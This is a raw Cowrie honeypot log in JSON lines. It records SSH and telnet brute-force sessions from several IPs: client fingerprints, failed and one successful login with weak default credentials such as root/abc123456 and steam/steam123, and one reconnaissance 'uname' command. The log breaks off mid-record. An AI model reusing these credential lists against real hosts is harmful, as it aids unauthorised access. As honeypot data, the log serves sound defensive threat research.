{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:12.457283Z","src_ip":"45.153.34.112","session":"36206c4dcc66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:12.709454Z","src_ip":"45.153.34.112","session":"36206c4dcc66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:13.796310Z","src_ip":"45.153.34.112","session":"36206c4dcc66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41496,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ad805d9ec19","protocol":"telnet","message":"New connection: 192.119.13.58:41496 (10.17.0.5:23) [session: 9ad805d9ec19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:13.835226Z"}
{"eventid":"cowrie.session.closed","duration":33.566121101379395,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:14.008467Z","src_ip":"192.119.13.58","session":"e5a9a5fdabd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42170,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9c3e99d26ae","protocol":"ssh","message":"New connection: 45.153.34.112:42170 (10.17.0.5:22) [session: a9c3e99d26ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:16.060762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:16.066120Z","src_ip":"45.153.34.112","session":"a9c3e99d26ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:16.148437Z","src_ip":"45.153.34.112","session":"a9c3e99d26ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:16.395275Z","src_ip":"45.153.34.112","session":"a9c3e99d26ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:17.480390Z","src_ip":"45.153.34.112","session":"a9c3e99d26ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32978,"dst_ip":"10.17.0.5","dst_port":23,"session":"907b73927850","protocol":"telnet","message":"New connection: 192.119.13.58:32978 (10.17.0.5:23) [session: 907b73927850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:18.638283Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60190,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ce459a38563","protocol":"telnet","message":"New connection: 192.119.13.58:60190 (10.17.0.5:23) [session: 2ce459a38563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:19.411577Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":59588,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff3f1ef15805","protocol":"ssh","message":"New connection: 45.153.34.112:59588 (10.17.0.5:22) [session: ff3f1ef15805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:19.612414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:19.618182Z","src_ip":"45.153.34.112","session":"ff3f1ef15805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:19.700986Z","src_ip":"45.153.34.112","session":"ff3f1ef15805","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:20.072434Z","src_ip":"45.153.34.112","session":"ff3f1ef15805","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:20.280920Z","src_ip":"45.153.34.112","session":"ff3f1ef15805","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:20.284731Z","src_ip":"45.153.34.112","session":"ff3f1ef15805","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:20.542642Z","src_ip":"45.153.34.112","session":"ff3f1ef15805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:20.547626Z","src_ip":"45.153.34.112","session":"ff3f1ef15805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.51802897453308,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:21.471883Z","src_ip":"192.119.13.58","session":"9cca7b633951","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.76610827445984,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:21.874641Z","src_ip":"192.119.13.58","session":"6d9bdfb1b2b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":53400,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2bcc5889b03","protocol":"ssh","message":"New connection: 170.238.160.191:53400 (10.17.0.5:22) [session: c2bcc5889b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:22.523468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:22.528871Z","src_ip":"170.238.160.191","session":"c2bcc5889b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48508,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccbd722f2ab2","protocol":"telnet","message":"New connection: 192.119.13.58:48508 (10.17.0.5:23) [session: ccbd722f2ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:22.532720Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:22.642100Z","src_ip":"170.238.160.191","session":"c2bcc5889b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.12002968788147,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:22.758191Z","src_ip":"192.119.13.58","session":"907b73927850","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"eric","message":"login attempt [root/eric] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:23.127446Z","src_ip":"170.238.160.191","session":"c2bcc5889b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":59602,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6cb3a3deab5","protocol":"ssh","message":"New connection: 45.153.34.112:59602 (10.17.0.5:22) [session: a6cb3a3deab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:23.285043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:23.290440Z","src_ip":"45.153.34.112","session":"a6cb3a3deab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:23.374359Z","src_ip":"45.153.34.112","session":"a6cb3a3deab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:23.624518Z","src_ip":"45.153.34.112","session":"a6cb3a3deab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":60164,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2593d81b284","protocol":"ssh","message":"New connection: 43.134.175.218:60164 (10.17.0.5:22) [session: e2593d81b284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:24.017473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:24.022471Z","src_ip":"43.134.175.218","session":"e2593d81b284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:24.243854Z","src_ip":"170.238.160.191","session":"c2bcc5889b03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:24.268351Z","src_ip":"43.134.175.218","session":"e2593d81b284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:24.715516Z","src_ip":"45.153.34.112","session":"a6cb3a3deab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"panadepula","message":"login attempt [root/panadepula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:25.281825Z","src_ip":"43.134.175.218","session":"e2593d81b284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:26.531106Z","src_ip":"43.134.175.218","session":"e2593d81b284","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":59606,"dst_ip":"10.17.0.5","dst_port":22,"session":"912ed66e165c","protocol":"ssh","message":"New connection: 45.153.34.112:59606 (10.17.0.5:22) [session: 912ed66e165c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:26.793472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:26.797836Z","src_ip":"45.153.34.112","session":"912ed66e165c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:26.879891Z","src_ip":"45.153.34.112","session":"912ed66e165c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:27.126631Z","src_ip":"45.153.34.112","session":"912ed66e165c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:28.212780Z","src_ip":"45.153.34.112","session":"912ed66e165c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33568,"dst_ip":"10.17.0.5","dst_port":22,"session":"a65794ce7d69","protocol":"ssh","message":"New connection: 45.153.34.112:33568 (10.17.0.5:22) [session: a65794ce7d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:30.554564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:21:30.560030Z","src_ip":"45.153.34.112","session":"a65794ce7d69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ec